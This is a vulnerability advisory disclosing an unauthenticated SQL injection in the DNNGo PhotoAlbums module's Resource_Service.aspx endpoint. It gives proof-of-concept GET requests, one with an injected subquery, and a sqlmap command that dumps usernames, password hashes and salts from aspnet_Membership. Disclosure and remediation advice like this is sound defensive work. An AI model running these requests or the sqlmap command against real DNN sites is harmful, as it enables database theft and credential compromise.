Unauthenticated SQL Injection in DNNGo.Modules.PhotoAlbums via Categories Parameter

Summary

DNNGo.Modules.PhotoAlbums version 6.7.1.0 is vulnerable to unauthenticated SQL injection via the Categories parameter in Resource_Service.aspx. An unauthenticated attacker can inject arbitrary SQL and exfiltrate data from the underlying database using error-based techniques. This vulnerability is practically identical to CVE-2024-55212, affecting a different DNNGo module with a slightly different parameter name.

Affected versions

• DNNGo.Modules.PhotoAlbums ≤ 6.7.1.0

Technical details

The vulnerability exists in the PushThumbnail() function within DNNGo.Modules.PhotoAlbums.dll, called via the Resource_Service.aspx endpoint. The Categories query parameter is concatenated directly into a SQL query without sanitisation or parameterisation, making it trivially injectable by any unauthenticated visitor.

The endpoint does not require authentication, as it is intended to serve public album thumbnails. The Token=ajaxalbums parameter acts as a routing key to reach the vulnerable code path but provides no meaningful access control.

Proof of concept

The following three requests demonstrate the injection progressively:

1. Normal request (baseline):

GET /DesktopModules/DNNGo_PhotoAlbums/Resource_Service.aspx?Token=ajaxalbums&Categories=1 HTTP/2

Returns expected output: no error.

2. Breaking SQL syntax:

GET /DesktopModules/DNNGo_PhotoAlbums/Resource_Service.aspx?Token=ajaxalbums&Categories=1x HTTP/2

The invalid value breaks the SQL query and causes a server-side error, confirming unsanitised input reaches the query.

3. Successful subquery injection:

GET /DesktopModules/DNNGo_PhotoAlbums/Resource_Service.aspx?Token=ajaxalbums&Categories=1,(select+1) HTTP/2

The injected subquery executes successfully, confirming error-based data exfiltration is possible. The following sqlmap command can be used to dump credentials from the aspnet_Membership table:

python3 sqlmap.py \
  -u 'https://vulnerable-host/DesktopModules/DNNGo_PhotoAlbums/Resource_Service.aspx?Token=ajaxalbums' \
  --data 'Categories=1' \
  -p Categories \
  -T aspnet_Membership \
  -C "UserName,Password,PasswordSalt,PasswordFormat" \
  --dump \
  --threads 10

Impact

An unauthenticated attacker can read arbitrary data from the SQL Server database hosting the DNN instance, including hashed credentials and password salts from aspnet_Membership, private user data, and any other data accessible to the database user. Depending on database permissions, further escalation may be possible.

Remediation

The vendor has patched the vulnerability in the latest version. If you want to take additional measures, consider the following mitigations:

• Block or restrict access to /DesktopModules/DNNGo_PhotoAlbums/Resource_Service.aspx at the WAF or web server level if the endpoint is not required publicly.
• Monitor for anomalous SQL errors or unexpected responses from this endpoint.

Timeline

26 February 2026	Discovery
14 March 2026	Reported to vendor
15 March 2026	Acknowledged by vendor
29 April 2026	CVE ID requested
21 July 2026	CVE assigned
27 July 2026	Public disclosure

References

• CVE-2024-55212: related vulnerability in a sibling DNNGo module
• DNNGo